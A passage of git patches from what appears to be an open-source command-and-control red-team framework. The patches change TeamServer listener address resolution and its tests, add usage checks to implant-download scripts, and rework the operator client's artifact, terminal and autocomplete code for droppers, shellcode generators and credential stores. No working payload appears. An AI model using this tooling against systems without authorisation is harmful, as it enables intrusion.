.../TeamServerListenerArtifactService.cpp | 49 +++++++++++---- .../TeamServerListenerArtifactService.hpp | 2 +- ...TeamServerListenerArtifactServiceTests.cpp | 61 +++++++++++++++++++ 6 files changed, 175 insertions(+), 12 deletions(-) diff --git a/docs/artifacts.md b/docs/artifacts.md index 375f02a..d2a987b 100644 --- a/docs/artifacts.md +++ b/docs/artifacts.md @@ -150,6 +150,16 @@ Host [hosted_filename] The TeamServer resolves the artifact, copies its payload into the listener hosted directory, and returns the download URL to the client. +The URL host is resolved in this order: + +```text +DomainName +ExposedIp +IpInterface resolved address +listener bind address +127.0.0.1 for wildcard binds such as 0.0.0.0 +``` + ## Stabilization Checklist - Run real listener tests with hosted files under `GeneratedArtifacts/hosted`. diff --git a/download-c2implant-artifacts.sh b/download-c2implant-artifacts.sh index ac59997..7a333ca 100644 --- a/download-c2implant-artifacts.sh +++ b/download-c2implant-artifacts.sh @@ -1,6 +1,35 @@ #!/usr/bin/env bash set -euo pipefail +usage() { + cat <<'USAGE' +Usage: ./download-c2implant-artifacts.sh [tag] [out_root] + +Download Windows C2Implant release artifacts and stage them into: + /WindowsBeacons/x86|x64|arm64/ + /WindowsModules/x86|x64|arm64/ + +Arguments: + tag GitHub release tag to download. Default: 0.15.0 + out_root Release staging root. Default: ./Release + +Examples: + ./download-c2implant-artifacts.sh + ./download-c2implant-artifacts.sh 0.15.0 ./Release +USAGE +} + +if [[ "${1:-}" == "-h" || "${1:-}" == "--help" ]]; then + usage + exit 0 +fi + +if (( $# > 2 )); then + echo "Error: too many arguments." >&2 + usage >&2 + exit 2 +fi + TAG="${1:-0.15.0}" OUT_ROOT="${2:-./Release}" REPO_URL="https://github.com/maxDcb/C2Implant/releases/download/${TAG}" diff --git a/download-c2linuximplant-artifacts.sh b/download-c2linuximplant-artifacts.sh index 321969b..1a2ed87 100644 --- a/download-c2linuximplant-artifacts.sh +++ b/download-c2linuximplant-artifacts.sh @@ -1,12 +1,48 @@ #!/usr/bin/env bash set -euo pipefail +usage() { + cat <<'USAGE' +Usage: ./download-c2linuximplant-artifacts.sh [tag] [out_root] [arch] + +Download Linux C2LinuxImplant release artifacts and stage them into: + /LinuxBeacons// + /LinuxModules// + +Arguments: + tag GitHub release tag to download. Default: 0.14.0 + out_root Release staging root. Default: ./Release + arch Target Linux architecture. Default: x64 + +Examples: + ./download-c2linuximplant-artifacts.sh + ./download-c2linuximplant-artifacts.sh 0.14.0 ./Release x64 +USAGE +} + +if [[ "${1:-}" == "-h" || "${1:-}" == "--help" ]]; then + usage + exit 0 +fi + +if (( $# > 3 )); then + echo "Error: too many arguments." >&2 + usage >&2 + exit 2 +fi + TAG="${1:-0.14.0}" OUT_ROOT="${2:-./Release}" ARCH="${3:-x64}" REPO_URL="https://github.com/maxDcb/C2LinuxImplant/releases/download/${TAG}" ASSET="Release.tar.gz" +if [[ "${ARCH}" != "x64" ]]; then + echo "Error: unsupported Linux architecture: ${ARCH}" >&2 + usage >&2 + exit 2 +fi + TMP_DIR="$(mktemp -d)" cleanup() { diff --git a/teamServer/teamServer/TeamServerListenerArtifactService.cpp b/teamServer/teamServer/TeamServerListenerArtifactService.cpp index 51b00f3..9137b67 100644 --- a/teamServer/teamServer/TeamServerListenerArtifactService.cpp +++ b/teamServer/teamServer/TeamServerListenerArtifactService.cpp @@ -29,6 +29,22 @@ std::string readBinaryFile(const std::string& path) return std::string((std::istreambuf_iterator(input)), std::istreambuf_iterator()); } +std::string configString(const nlohmann::json& config, const char* key) +{ + const auto it = config.find(key); + if (it == config.end() || !it->is_string()) + return ""; + return it->get(); +} + +bool isWildcardAddress(const std::string& address) +{ + return address.empty() + || address == "0.0.0.0" + || address == "::" + || address == "[::]"; +} + void setTerminalOk(teamserverapi::TerminalCommandResponse* response, const std::string& result) { response->set_status(teamserverapi::OK); @@ -86,26 +102,37 @@ grpc::Status TeamServerListenerArtifactService::handleCommand( return grpc::Status::OK; } -std::string TeamServerListenerArtifactService::resolvePublicAddress() const +std::string TeamServerListenerArtifactService::resolvePublicAddress(const std::shared_ptr& listener) const { - const auto domainIt = m_config.find("DomainName"); - if (domainIt != m_config.end()) - return domainIt->get(); + const std::string domainName = configString(m_config, "DomainName"); + if (!domainName.empty()) + return domainName; + + const std::string exposedIp = configString(m_config, "ExposedIp"); + if (!exposedIp.empty()) + return exposedIp; + + const std::string ipInterface = configString(m_config, "IpInterface"); + if (!ipInterface.empty() && m_ipResolver) + { + const std::string interfaceAddress = m_ipResolver(ipInterface); + if (!interfaceAddress.empty()) + return interfaceAddress; + } - const auto exposedIt = m_config.find("ExposedIp"); - if (exposedIt != m_config.end()) - return exposedIt->get(); + const std::string listenerAddress = listener ? listener->getParam1() : ""; + if (!isWildcardAddress(listenerAddress)) + return listenerAddress; - const auto interfaceIt = m_config.find("IpInterface"); - if (interfaceIt != m_config.end() && !interfaceIt->get().empty() && m_ipResolver) - return m_ipResolver(interfaceIt->get()); + if (isWildcardAddress(listenerAddress)) + return "127.0.0.1"; return ""; } std::string TeamServerListenerArtifactService::resolvePrimaryListenerInfo(const std::shared_ptr& listener) const { - const std::string finalAddress = resolvePublicAddress(); + const std::string finalAddress = resolvePublicAddress(listener); if (finalAddress.empty()) return ""; diff --git a/teamServer/teamServer/TeamServerListenerArtifactService.hpp b/teamServer/teamServer/TeamServerListenerArtifactService.hpp index a4e17bb..82eac13 100644 --- a/teamServer/teamServer/TeamServerListenerArtifactService.hpp +++ b/teamServer/teamServer/TeamServerListenerArtifactService.hpp @@ -33,7 +33,7 @@ class TeamServerListenerArtifactService teamserverapi::TerminalCommandResponse* response) const; private: - std::string resolvePublicAddress() const; + std::string resolvePublicAddress(const std::shared_ptr& listener) const; std::string resolvePrimaryListenerInfo(const std::shared_ptr& listener) const; std::string resolveBeaconBinaryPath( const std::string& type, diff --git a/teamServer/tests/TeamServerListenerArtifactServiceTests.cpp b/teamServer/tests/TeamServerListenerArtifactServiceTests.cpp index 4273df7..ebaa5a8 100644 --- a/teamServer/tests/TeamServerListenerArtifactServiceTests.cpp +++ b/teamServer/tests/TeamServerListenerArtifactServiceTests.cpp @@ -131,6 +131,66 @@ void testInfoListenerForPrimaryAndSecondary() assert(response.message() == "Error: Listener not found."); } +void testInfoListenerAddressFallbacks() +{ + ScopedPath tempRoot(makeTempDirectory("info-fallback")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + nlohmann::json config = { + {"DomainName", ""}, + {"ExposedIp", ""}, + {"IpInterface", "missing0"}, + {"ListenerHttpsConfig", {{"uriFileDownload", "/drop.bin"}}}}; + + auto primary = std::make_shared("listener-primary", ListenerHttpsType, "192.168.56.10", "8443"); + std::vector> listeners = {primary}; + + TeamServerListenerArtifactService service( + makeLogger(), + config, + runtimeConfig, + listeners, + [](const std::string&) + { + return ""; + }); + + teamserverapi::TerminalCommandResponse response; + teamserverapi::TerminalCommandRequest command; + command.set_command("infoListener listener-pri"); + assert(service.handleCommand("infoListener", {"infoListener", "listener-pri"}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "https\n192.168.56.10\n8443\n/drop.bin"); + + config["ExposedIp"] = "203.0.113.10"; + TeamServerListenerArtifactService exposedService(makeLogger(), config, runtimeConfig, listeners); + assert(exposedService.handleCommand("infoListener", {"infoListener", "listener-pri"}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "https\n203.0.113.10\n8443\n/drop.bin"); + + config["ExposedIp"] = ""; + config["IpInterface"] = "eth-test"; + TeamServerListenerArtifactService interfaceService( + makeLogger(), + config, + runtimeConfig, + listeners, + [](const std::string& interface) + { + return interface == "eth-test" ? "10.10.10.10" : ""; + }); + assert(interfaceService.handleCommand("infoListener", {"infoListener", "listener-pri"}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "https\n10.10.10.10\n8443\n/drop.bin"); + + auto wildcard = std::make_shared("wildcard-listener", ListenerHttpsType, "0.0.0.0", "8443"); + std::vector> wildcardListeners = {wildcard}; + config["IpInterface"] = ""; + TeamServerListenerArtifactService wildcardService(makeLogger(), config, runtimeConfig, wildcardListeners); + assert(wildcardService.handleCommand("infoListener", {"infoListener", "wildcard"}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "https\n127.0.0.1\n8443\n/drop.bin"); +} + void testGetBeaconBinaryForPrimaryAndSecondary() { ScopedPath tempRoot(makeTempDirectory("beacon")); @@ -199,6 +259,7 @@ void testGetBeaconBinaryForPrimaryAndSecondary() int main() { testInfoListenerForPrimaryAndSecondary(); + testInfoListenerAddressFallbacks(); testGetBeaconBinaryForPrimaryAndSecondary(); return 0; } From b64e16d674b742de2968350ca2a79af267b15b37 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Wed, 6 May 2026 16:04:08 +0200 Subject: [PATCH 46/82] Minor --- C2Client/C2Client/ArtifactPanel.py | 27 +- C2Client/C2Client/CommandPanel.py | 2 +- C2Client/C2Client/ConsolePanel.py | 70 +++- C2Client/C2Client/SessionPanel.py | 2 - C2Client/C2Client/TerminalPanel.py | 339 +++++++++++++++--- C2Client/C2Client/grpcClient.py | 9 +- C2Client/tests/test_artifact_panel.py | 55 ++- C2Client/tests/test_console_panel.py | 17 +- C2Client/tests/test_grpc_client.py | 24 ++ .../tests/test_terminal_panel_dropper_arch.py | 80 +++++ core | 2 +- docs/artifacts.md | 7 +- .../teamServer/TeamServerArtifactCatalog.cpp | 43 ++- .../teamServer/TeamServerArtifactService.cpp | 4 +- .../teamServer/TeamServerHelpService.cpp | 2 - .../tests/TeamServerArtifactCatalogTests.cpp | 28 +- .../tests/TeamServerCommandCatalogTests.cpp | 2 +- 17 files changed, 609 insertions(+), 104 deletions(-) diff --git a/C2Client/C2Client/ArtifactPanel.py b/C2Client/C2Client/ArtifactPanel.py index 5b0d8fa..2f0c8b2 100644 --- a/C2Client/C2Client/ArtifactPanel.py +++ b/C2Client/C2Client/ArtifactPanel.py @@ -131,8 +131,8 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: self.downloadButton.clicked.connect(self.downloadSelectedArtifactToClient) self.copyIdButton = self.createToolbarButton("Copy ID", "Copy selected artifact id.", width=72) self.copyIdButton.clicked.connect(self.copySelectedArtifactId) - self.deleteButton = self.createToolbarButton("Delete", "Delete selected generated artifact.", width=72) - self.deleteButton.clicked.connect(self.deleteSelectedGeneratedArtifact) + self.deleteButton = self.createToolbarButton("Delete", "Delete selected generated or hosted artifact.", width=72) + self.deleteButton.clicked.connect(self.deleteSelectedArtifact) toolbar.addWidget(QLabel("Category")) toolbar.addWidget(self.categoryFilter) @@ -335,13 +335,10 @@ def selectedArtifactId(self) -> str: return _text(_field(artifact, "artifact_id")) - def isGeneratedArtifact(self, artifact: Any | None) -> bool: + def isDeletableArtifact(self, artifact: Any | None) -> bool: if artifact is None: return False - return ( - _text(_field(artifact, "scope")).lower() == "generated" - and _text(_field(artifact, "category")).lower() != "hosted" - ) + return _text(_field(artifact, "scope")).lower() == "generated" def selectedUploadTarget(self) -> tuple[str, str]: return ( @@ -427,21 +424,21 @@ def uploadArtifactFromClient(self) -> None: message = _text(getattr(response, "message", "")) or "uploaded artifact stored" apply_status(self.statusLabel, f"Artifacts: {message}", StatusKind.SUCCESS) - def deleteSelectedGeneratedArtifact(self) -> None: + def deleteSelectedArtifact(self) -> None: artifact = self.selectedArtifact() artifact_id = self.selectedArtifactId() if not artifact_id: apply_status(self.statusLabel, "Artifacts: select an artifact first.", StatusKind.ERROR) return - if not self.isGeneratedArtifact(artifact): - apply_status(self.statusLabel, "Artifacts: only generated artifacts can be deleted.", StatusKind.ERROR) + if not self.isDeletableArtifact(artifact): + apply_status(self.statusLabel, "Artifacts: only generated or hosted artifacts can be deleted.", StatusKind.ERROR) return name = _text(_field(artifact, "display_name")) or _text(_field(artifact, "name")) or artifact_id answer = QMessageBox.question( self, - "Delete generated artifact", - f"Delete generated artifact {name}?", + "Delete artifact", + f"Delete artifact {name}?", QMessageBox.StandardButton.Yes | QMessageBox.StandardButton.No, QMessageBox.StandardButton.No, ) @@ -449,7 +446,7 @@ def deleteSelectedGeneratedArtifact(self) -> None: return try: - response = self.grpcClient.deleteGeneratedArtifact(artifact_id) + response = self.grpcClient.deleteArtifact(artifact_id) except Exception as exc: apply_status( self.statusLabel, @@ -464,11 +461,11 @@ def deleteSelectedGeneratedArtifact(self) -> None: return self.refreshArtifacts() - message = _text(getattr(response, "message", "")) or "generated artifact deleted" + message = _text(getattr(response, "message", "")) or "artifact deleted" apply_status(self.statusLabel, f"Artifacts: {message}", StatusKind.SUCCESS) def updateActionButtons(self) -> None: selected_artifact = self.selectedArtifact() self.copyIdButton.setEnabled(bool(selected_artifact)) self.downloadButton.setEnabled(bool(selected_artifact)) - self.deleteButton.setEnabled(self.isGeneratedArtifact(selected_artifact)) + self.deleteButton.setEnabled(self.isDeletableArtifact(selected_artifact)) diff --git a/C2Client/C2Client/CommandPanel.py b/C2Client/C2Client/CommandPanel.py index 2884a85..40688c6 100644 --- a/C2Client/C2Client/CommandPanel.py +++ b/C2Client/C2Client/CommandPanel.py @@ -31,7 +31,7 @@ ALL_FILTER = "All" KIND_FILTERS = [ALL_FILTER, "common", "module"] TARGET_FILTERS = [ALL_FILTER, "beacon", "teamserver", "operator", "any"] -PLATFORM_FILTERS = [ALL_FILTER, "windows", "linux", "macos", "any"] +PLATFORM_FILTERS = [ALL_FILTER, "windows", "linux", "any"] COL_NAME = 0 COL_KIND = 1 diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 820f2a2..1fc8844 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -380,8 +380,6 @@ def _session_platform(session: Any | None) -> str: return "windows" if "linux" in os_text: return "linux" - if "mac" in os_text or "darwin" in os_text or "os x" in os_text: - return "macos" return "" @@ -1110,6 +1108,29 @@ def printInTerminal(self, cmdSent, cmdReived, result): self.editorOutput.insertHtml("
") self.editorOutput.insertPlainText("\n") + def printLocalCommandQueued(self, command_id, command_line): + self.setCommandStatus(command_id, "queued", command_line) + self.printCommandStatusInTerminal(command_id, "queued", command_line) + self.appendConsoleEvent( + "queued", + command_id=command_id, + command=command_line, + source="local", + ) + + def printLocalCommandFinished(self, command_id, command_line, output, status="done"): + self.setCommandStatus(command_id, status, command_line, output if status == "error" else "") + self.printCommandStatusInTerminal(command_id, status, command_line) + if output: + self.printInTerminal("", "", output) + self.appendConsoleEvent( + status, + command_id=command_id, + command=command_line, + output=output, + source="local", + ) + def resendLastCommand(self): if self.lastCommandLine == "": self.setConsoleNotice("No command to resend.", True) @@ -1142,25 +1163,36 @@ def executeCommand(self, commandLine): self.commandEditor.setCmdHistory() instructions = commandLine.split() if instructions[0]==HelpInstruction: - command = TeamServerApi_pb2.CommandHelpRequest( - session=TeamServerApi_pb2.SessionSelector( - beacon_hash=self.beaconHash, - listener_hash=self.listenerHash, - ), - command=commandLine, - ) - response = self.grpcClient.getCommandHelp(command) - command_text = getattr(response, "command", commandLine) or commandLine - self.printInTerminal(command_text, "", "") - if is_response_ok(response): - self.printInTerminal("", command_text, response.help) - else: - self.printInTerminal("", command_text, response_message(response, "No help available.")) + command_id = uuid.uuid4().hex + self.printLocalCommandQueued(command_id, commandLine) + try: + command = TeamServerApi_pb2.CommandHelpRequest( + session=TeamServerApi_pb2.SessionSelector( + beacon_hash=self.beaconHash, + listener_hash=self.listenerHash, + ), + command=commandLine, + ) + response = self.grpcClient.getCommandHelp(command) + command_text = getattr(response, "command", commandLine) or commandLine + if is_response_ok(response): + output = getattr(response, "help", "") or response_message(response, "No help available.") + self.printLocalCommandFinished(command_id, command_text, output) + else: + self.printLocalCommandFinished( + command_id, + command_text, + response_message(response, "No help available."), + "error", + ) + except Exception as exc: + self.printLocalCommandFinished(command_id, commandLine, f"Error: {exc}", "error") self.setCursorEditorAtEnd() return if instructions[0] == ListModuleInstruction: - self.printInTerminal(commandLine, "", "") + command_id = uuid.uuid4().hex + self.printLocalCommandQueued(command_id, commandLine) try: modules = list(self.grpcClient.listModules( TeamServerApi_pb2.SessionSelector( @@ -1168,9 +1200,9 @@ def executeCommand(self, commandLine): listener_hash=self.listenerHash, ) )) - self.printInTerminal("", commandLine, _format_loaded_modules_for_console(modules)) + self.printLocalCommandFinished(command_id, commandLine, _format_loaded_modules_for_console(modules)) except Exception as exc: - self.printInTerminal("", commandLine, f"Error: {exc}") + self.printLocalCommandFinished(command_id, commandLine, f"Error: {exc}", "error") self.setConsoleNotice("listModule failed.", True) self.setCursorEditorAtEnd() return diff --git a/C2Client/C2Client/SessionPanel.py b/C2Client/C2Client/SessionPanel.py index b019074..56871fa 100644 --- a/C2Client/C2Client/SessionPanel.py +++ b/C2Client/C2Client/SessionPanel.py @@ -172,8 +172,6 @@ def normalize_os_label(osDescription): return "Windows" if "linux" in lowered: return "Linux" - if "darwin" in lowered or "macos" in lowered or "mac os" in lowered: - return "macOS" return text.split()[0] diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index 1356e1c..d7de423 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -4,18 +4,25 @@ import logging import re import subprocess +from datetime import datetime +from typing import Any from PyQt6.QtCore import Qt, QEvent, QThread, QTimer, pyqtSignal, QObject -from PyQt6.QtGui import QStandardItem, QStandardItemModel, QShortcut +from PyQt6.QtGui import QStandardItem, QStandardItemModel, QShortcut, QTextCursor, QTextDocument from PyQt6.QtWidgets import ( QCompleter, + QHBoxLayout, + QLabel, QLineEdit, + QPushButton, QTextBrowser, + QTextEdit, QVBoxLayout, QWidget, ) from .grpcClient import TeamServerApi_pb2 from .console_style import ( + CONSOLE_COLORS, apply_console_output_style, append_console_block, append_console_spacing, @@ -23,6 +30,7 @@ ) from .env import env_path from .grpc_status import is_response_ok, terminal_response_text +from .panel_style import apply_dark_panel_style from .TerminalModules.Batcave import batcave from .TerminalModules.Credentials import credentials @@ -409,31 +417,180 @@ def extractDropperTargetArch(arguments, defaultArch=DefaultWindowsArch): return targetArch, remainingArgs -completerData = [ - (HelpInstruction,[]), - (HostInstruction,[]), - (DropperInstruction,[ - (DropperConfigSubInstruction, [ - (DropperConfigShellcodeGeneratorDisplay, []), - (DropperConfigBeaconArchDisplay, [ - ("x86", []), - ("x64", []), - ("arm64", []) - ]) - ]) - ]), - (BatcaveInstruction, [ - ("Install", []), - ("BundleInstall", []), - ("Search", []) - ]), - (CredentialStoreInstruction, [ - (GetSubInstruction, []), - (SetSubInstruction, []), - (SearchSubInstruction, []) - ]), - (ReloadModulesInstruction,[]), -] +def _add_completion_path(entries: list[tuple[str, list]], parts: list[str]) -> None: + if not parts: + return + head = str(parts[0]).strip() + if not head: + return + for index, (text, children) in enumerate(entries): + if text == head: + if len(parts) > 1: + _add_completion_path(children, parts[1:]) + entries[index] = (text, children) + return + children: list[tuple[str, list]] = [] + entries.append((head, children)) + if len(parts) > 1: + _add_completion_path(children, parts[1:]) + + +def _merge_completion_entries(destination: list[tuple[str, list]], source: list[tuple[str, list]]) -> None: + for text, children in source: + _add_completion_path(destination, [text]) + destination_entry = next(entry for entry in destination if entry[0] == text) + if children: + _merge_completion_entries(destination_entry[1], children) + + +def _field(value: Any, name: str, default: Any = "") -> Any: + return getattr(value, name, default) + + +def _safe_completion_token(value: Any) -> str: + text = str(value or "").strip() + if not text or any(ch.isspace() for ch in text): + return "" + return text + + +def _artifact_completion_values(artifact: Any) -> list[str]: + values = [] + artifact_id = _safe_completion_token(_field(artifact, "artifact_id")) + if artifact_id: + values.append(artifact_id) + if len(artifact_id) > 12: + values.append(artifact_id[:12]) + for field_name in ("name", "display_name"): + token = _safe_completion_token(_field(artifact, field_name)) + if token: + values.append(token) + return list(dict.fromkeys(values)) + + +def _listener_completion_values(listener: Any) -> list[str]: + listener_hash = _safe_completion_token(_field(listener, "listener_hash")) + if not listener_hash: + return [] + values = [listener_hash] + if len(listener_hash) > 8: + values.append(listener_hash[:8]) + return list(dict.fromkeys(values)) + + +def _session_completion_values(session: Any) -> list[str]: + beacon_hash = _safe_completion_token(_field(session, "beacon_hash")) + if not beacon_hash: + return [] + values = [beacon_hash] + if len(beacon_hash) > 8: + values.append(beacon_hash[:8]) + return list(dict.fromkeys(values)) + + +def _module_completion_name(module: Any) -> str: + return _safe_completion_token(getattr(module, "__name__", "")) + + +def _artifact_entries(artifacts: list[Any], children: list[tuple[str, list]]) -> list[tuple[str, list]]: + entries: list[tuple[str, list]] = [] + for artifact in artifacts: + for value in _artifact_completion_values(artifact): + _add_completion_path(entries, [value]) + artifact_entry = next(entry for entry in entries if entry[0] == value) + _merge_completion_entries(artifact_entry[1], children) + if not entries: + entries.append(("", children.copy())) + return entries + + +def _listener_entries(listeners: list[Any], children: list[tuple[str, list]] | None = None) -> list[tuple[str, list]]: + entries: list[tuple[str, list]] = [] + for listener in listeners: + for value in _listener_completion_values(listener): + _add_completion_path(entries, [value]) + if children: + listener_entry = next(entry for entry in entries if entry[0] == value) + _merge_completion_entries(listener_entry[1], children) + if not entries: + entries.append(("", children.copy() if children else [])) + return entries + + +def _session_entries(sessions: list[Any]) -> list[tuple[str, list]]: + entries: list[tuple[str, list]] = [] + for session in sessions: + for value in _session_completion_values(session): + _add_completion_path(entries, [value]) + if not entries: + entries.append(("", [])) + return entries + + +def build_terminal_completer_data(grpcClient: Any = None) -> list[tuple[str, list]]: + listeners: list[Any] = [] + artifacts: list[Any] = [] + sessions: list[Any] = [] + if grpcClient is not None: + try: + listeners = list(grpcClient.listListeners()) + except Exception as exc: + logger.debug("Terminal autocomplete could not load listeners: %s", exc) + try: + artifacts = list(grpcClient.listArtifacts()) + except Exception as exc: + logger.debug("Terminal autocomplete could not load artifacts: %s", exc) + try: + sessions = list(grpcClient.listSessions()) + except Exception as exc: + logger.debug("Terminal autocomplete could not load sessions: %s", exc) + + terminal_commands = [ + HostInstruction, + DropperInstruction, + BatcaveInstruction, + CredentialStoreInstruction, + SocksInstruction, + ReloadModulesInstruction, + ] + listener_with_optional_filename = _listener_entries(listeners, [("", [])]) + listener_then_listener = _listener_entries(listeners, _listener_entries(listeners, [("--arch", [(arch, []) for arch in SupportedWindowsArchs])])) + dropper_module_entries: list[tuple[str, list]] = [] + for module in DropperModules: + module_name = _module_completion_name(module) + if module_name: + _add_completion_path(dropper_module_entries, [module_name]) + module_entry = next(entry for entry in dropper_module_entries if entry[0] == module_name) + _merge_completion_entries(module_entry[1], listener_then_listener) + + shellcode_generator_entries = [(ShellcodeGeneratorDonut, [])] + for module in ShellCodeModules: + module_name = _module_completion_name(module) + if module_name and module_name != ShellcodeGeneratorDonut: + shellcode_generator_entries.append((module_name, [])) + + dropper_children = [ + ( + DropperConfigSubInstruction, + [ + (DropperConfigShellcodeGeneratorDisplay, shellcode_generator_entries), + (DropperConfigBeaconArchDisplay, [(arch, []) for arch in SupportedWindowsArchs]), + ], + ), + *dropper_module_entries, + ] + if not dropper_module_entries: + dropper_children.append(("", listener_then_listener)) + + return [ + (HelpInstruction, [(command, []) for command in terminal_commands]), + (HostInstruction, _artifact_entries(artifacts, listener_with_optional_filename)), + (DropperInstruction, dropper_children), + (BatcaveInstruction, [("Install", []), ("BundleInstall", []), ("Search", [])]), + (CredentialStoreInstruction, [(GetSubInstruction, []), (SetSubInstruction, []), (SearchSubInstruction, [])]), + (SocksInstruction, [("start", []), ("stop", []), ("unbind", []), ("bind", _session_entries(sessions))]), + (ReloadModulesInstruction, []), + ] InfoProcessing = "Processing..." ErrorCmdUnknow = "Error: Command Unknown" @@ -450,13 +607,13 @@ def extractDropperTargetArch(arguments, defaultArch=DefaultWindowsArch): # class Terminal(QWidget): tabPressed = pyqtSignal() - logFileName="" - dropperWorker=None def __init__(self, parent, grpcClient): - super(QWidget, self).__init__(parent) + super().__init__(parent) + apply_dark_panel_style(self) self.layout = QVBoxLayout(self) self.layout.setContentsMargins(0, 0, 0, 0) + self.layout.setSpacing(6) self.grpcClient = grpcClient self.dropperConfig = { @@ -464,27 +621,55 @@ def __init__(self, parent, grpcClient): DropperConfigBeaconArchKey: DefaultWindowsArch, } - self.logFileName=LogFileName + self.logFileName = LogFileName + self.dropperWorker = None + self.thread = None + + self.searchInput = QLineEdit() + self.searchInput.setPlaceholderText("Search output") + self.searchInput.setFixedHeight(26) + self.searchInput.returnPressed.connect(self.findNextSearchMatch) + self.findPreviousButton = QPushButton("Prev") + self.findPreviousButton.setFixedHeight(26) + self.findPreviousButton.clicked.connect(lambda _checked=False: self.findNextSearchMatch(backward=True)) + self.findNextButton = QPushButton("Next") + self.findNextButton.setFixedHeight(26) + self.findNextButton.clicked.connect(lambda _checked=False: self.findNextSearchMatch()) + self.clearOutputButton = QPushButton("Clear") + self.clearOutputButton.setFixedHeight(26) + self.clearOutputButton.clicked.connect(self.clearTerminalOutput) + self.exportLogButton = QPushButton("Export") + self.exportLogButton.setFixedHeight(26) + self.exportLogButton.clicked.connect(self.exportTerminalOutput) + self.terminalNoticeLabel = QLabel("") + self.terminalNoticeLabel.setMinimumWidth(180) + self.terminalNoticeLabel.setAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter) + + toolbarLayout = QHBoxLayout() + toolbarLayout.setSpacing(6) + toolbarLayout.addWidget(self.searchInput, 3) + toolbarLayout.addWidget(self.findPreviousButton) + toolbarLayout.addWidget(self.findNextButton) + toolbarLayout.addWidget(self.clearOutputButton) + toolbarLayout.addWidget(self.exportLogButton) + toolbarLayout.addWidget(self.terminalNoticeLabel, 2) + self.layout.addLayout(toolbarLayout) self.editorOutput = QTextBrowser() apply_console_output_style(self.editorOutput) self.editorOutput.setReadOnly(True) + self.editorOutput.setLineWrapMode(QTextEdit.LineWrapMode.WidgetWidth) + self.editorOutput.setLineWrapColumnOrWidth(0) self.layout.addWidget(self.editorOutput, 8) - self.commandEditor = CommandEditor() - self.layout.addWidget(self.commandEditor, 2) + self.commandEditor = CommandEditor(grpcClient=self.grpcClient) + self.commandEditor.setPlaceholderText("Terminal command") + self.commandEditor.setMinimumHeight(28) + self.layout.addWidget(self.commandEditor, 0) self.commandEditor.returnPressed.connect(self.runCommand) self.printInTerminal("Terminal", TerminalWelcomeMessage, role="system") - def nextCompletion(self): - index = self._compl.currentIndex() - self._compl.popup().setCurrentIndex(index) - start = self._compl.currentRow() - if not self._compl.setCurrentRow(start + 1): - self._compl.setCurrentRow(0) - - def event(self, event): if event.type() == QEvent.Type.KeyPress and event.key() == Qt.Key.Key_Tab: self.tabPressed.emit() @@ -505,6 +690,57 @@ def printInTerminal(self, cmd, result, role="user"): if has_entry: append_console_spacing(self.editorOutput) self.setCursorEditorAtEnd() + + + def setTerminalNotice(self, message, is_error=False): + self.terminalNoticeLabel.setText(message) + color = CONSOLE_COLORS["error"] if is_error else CONSOLE_COLORS["muted"] + self.terminalNoticeLabel.setStyleSheet(f"color: {color};") + + + def findNextSearchMatch(self, backward=False): + search_text = self.searchInput.text().strip() + if search_text == "": + self.setTerminalNotice("Search term required.", True) + return False + + original_cursor = self.editorOutput.textCursor() + flags = QTextDocument.FindFlag.FindBackward if backward else QTextDocument.FindFlag(0) + if self.editorOutput.find(search_text, flags): + self.setTerminalNotice("Match found.") + return True + + cursor = self.editorOutput.textCursor() + if backward: + cursor.movePosition(QTextCursor.MoveOperation.End) + else: + cursor.movePosition(QTextCursor.MoveOperation.Start) + self.editorOutput.setTextCursor(cursor) + + if self.editorOutput.find(search_text, flags): + self.setTerminalNotice("Search wrapped.") + return True + + self.editorOutput.setTextCursor(original_cursor) + self.setTerminalNotice("No match.", True) + return False + + + def clearTerminalOutput(self): + self.editorOutput.clear() + self.setTerminalNotice("Output cleared.") + + + def exportTerminalOutput(self): + os.makedirs(logsDir, exist_ok=True) + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f") + base_name = os.path.splitext(self.logFileName)[0] + output_path = os.path.join(logsDir, f"{base_name}_terminal_{timestamp}.log") + with open(output_path, "w", encoding="utf-8") as exportFile: + exportFile.write(self.editorOutput.toPlainText().rstrip()) + exportFile.write("\n") + self.setTerminalNotice("Exported " + os.path.basename(output_path)) + return output_path def runCommand(self): @@ -1183,12 +1419,15 @@ def run(self): class CommandEditor(QLineEdit): tabPressed = pyqtSignal() - cmdHistory = [] - idx = 0 - def __init__(self, parent=None): + def __init__(self, parent=None, grpcClient=None): super().__init__(parent) + self.grpcClient = grpcClient + self.cmdHistory = [] + self.idx = 0 + self.completionData = [] + if(os.path.isfile(HistoryFileName)): cmdHistoryFile = open(HistoryFileName) self.cmdHistory = cmdHistoryFile.readlines() @@ -1198,13 +1437,21 @@ def __init__(self, parent=None): QShortcut(Qt.Key.Key_Up, self, self.historyUp) QShortcut(Qt.Key.Key_Down, self, self.historyDown) - self.codeCompleter = CodeCompleter(completerData, self) + self.completionData = build_terminal_completer_data(self.grpcClient) + self.codeCompleter = CodeCompleter(self.completionData, self) # needed to clear the completer after activation self.codeCompleter.activated.connect(self.onActivated) self.setCompleter(self.codeCompleter) self.tabPressed.connect(self.nextCompletion) + def refreshCompleter(self, force=False): + completionData = build_terminal_completer_data(self.grpcClient) + if force or completionData != self.completionData: + self.completionData = completionData + self.codeCompleter.updateData(completionData) + def nextCompletion(self): + self.refreshCompleter() index = self.codeCompleter.currentIndex() self.codeCompleter.popup().setCurrentIndex(index) start = self.codeCompleter.currentRow() @@ -1247,6 +1494,10 @@ class CodeCompleter(QCompleter): def __init__(self, data, parent=None): super().__init__(parent) + 